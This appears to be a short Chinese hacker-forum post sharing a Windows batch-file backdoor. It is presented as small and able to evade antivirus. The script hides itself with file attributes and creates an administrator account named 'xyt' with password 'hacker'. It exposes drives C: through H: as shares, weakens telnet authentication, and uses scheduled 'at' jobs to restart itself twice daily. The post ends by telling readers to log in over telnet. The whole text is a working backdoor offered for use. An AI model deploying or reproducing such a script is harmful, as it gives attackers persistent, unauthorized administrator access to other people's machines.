代码思路是影子鹰DESERT朋友的，原代码比较麻烦，我做了改进，这个后门优点就是小而且不会被杀，放到SYSTEM32目录下就可以了 ，代码如下： 
   @echo off 
   @attrib +s + r xyt.bat
   @net user xyt hacker /add 
   @net localgroup administrators xyt /add 
   @net share c$=c: 
   @net share d$=d:
   @net share e$=e:
   @net share f$=f:
   @net share g$=g:
   @net share h$=h:
   @tlntadmn config sec = -ntlm

   @net stop schedule
   @net start Schedule
   @echo at 11:00 c:\WINNT\SYSTEM32\log.bat > c:\WINNT\SYSTEM32\xyt.bat 
   @echo at 23:00 c:\WINNT\SYSTEM32\log.bat >> c:\WINNT\SYSTEM32\xyt.bat 
   @at 11:05 c:\WINNT\SYSTEM32\xyt.bat 
   @at 23:05 c:\WINNT\SYSTEM32\xyt.bat 
   @net stop telnet 
   @net start telnet 
   @exit 

   这样就会循环运行我们的程序了，即使被人停下来，过几个小时，又回重新运行，呵呵~~
   运行后TELNET IP上去，用户名为xyt，密码为hacker。